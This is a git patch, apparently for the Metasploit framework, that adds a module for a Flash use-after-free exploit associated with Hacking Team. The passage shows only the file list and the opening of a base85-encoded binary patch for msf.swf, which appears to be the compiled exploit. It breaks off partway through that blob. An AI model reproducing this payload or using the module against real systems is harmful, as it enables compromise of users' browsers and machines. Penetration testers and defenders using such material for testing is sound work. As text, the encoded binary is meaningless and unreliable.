From d9aacf2d41539e5e2347197230a4f9b5b66ce44c Mon Sep 17 00:00:00 2001
From: jvazquez-r7 <juan_vazquez@rapid7.com>
Date: Tue, 7 Jul 2015 11:19:48 -0500
Subject: [PATCH] Add module for hacking team flash exploit

---
 data/exploits/hacking_team/msf.swf            | Bin 0 -> 29417 bytes
 external/source/exploits/hacking_team/Elf.as  | 235 +++++++++++
 .../source/exploits/hacking_team/Exploit.as   |  37 ++
 .../exploits/hacking_team/ExploitByteArray.as |  85 ++++
 .../exploits/hacking_team/ExploitVector.as    |  75 ++++
 .../source/exploits/hacking_team/Exploiter.as | 399 ++++++++++++++++++
 .../source/exploits/hacking_team/Logger.as    |  32 ++
 .../source/exploits/hacking_team/MyClass.as   |  93 ++++
 .../source/exploits/hacking_team/MyClass1.as  |   9 +
 .../source/exploits/hacking_team/MyClass2.as  | 115 +++++
 external/source/exploits/hacking_team/PE.as   |  72 ++++
 .../browser/adobe_flash_hacking_team_uaf.rb   | 143 +++++++
 12 files changed, 1295 insertions(+)
 create mode 100755 data/exploits/hacking_team/msf.swf
 create mode 100755 external/source/exploits/hacking_team/Elf.as
 create mode 100755 external/source/exploits/hacking_team/Exploit.as
 create mode 100755 external/source/exploits/hacking_team/ExploitByteArray.as
 create mode 100755 external/source/exploits/hacking_team/ExploitVector.as
 create mode 100755 external/source/exploits/hacking_team/Exploiter.as
 create mode 100755 external/source/exploits/hacking_team/Logger.as
 create mode 100755 external/source/exploits/hacking_team/MyClass.as
 create mode 100755 external/source/exploits/hacking_team/MyClass1.as
 create mode 100755 external/source/exploits/hacking_team/MyClass2.as
 create mode 100755 external/source/exploits/hacking_team/PE.as
 create mode 100644 modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb

diff --git a/data/exploits/hacking_team/msf.swf b/data/exploits/hacking_team/msf.swf
new file mode 100755
index 0000000000000000000000000000000000000000..6c2d91cdcc18d1dce6aebf1f909d867b72007e9c
GIT binary patch
literal 29417
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
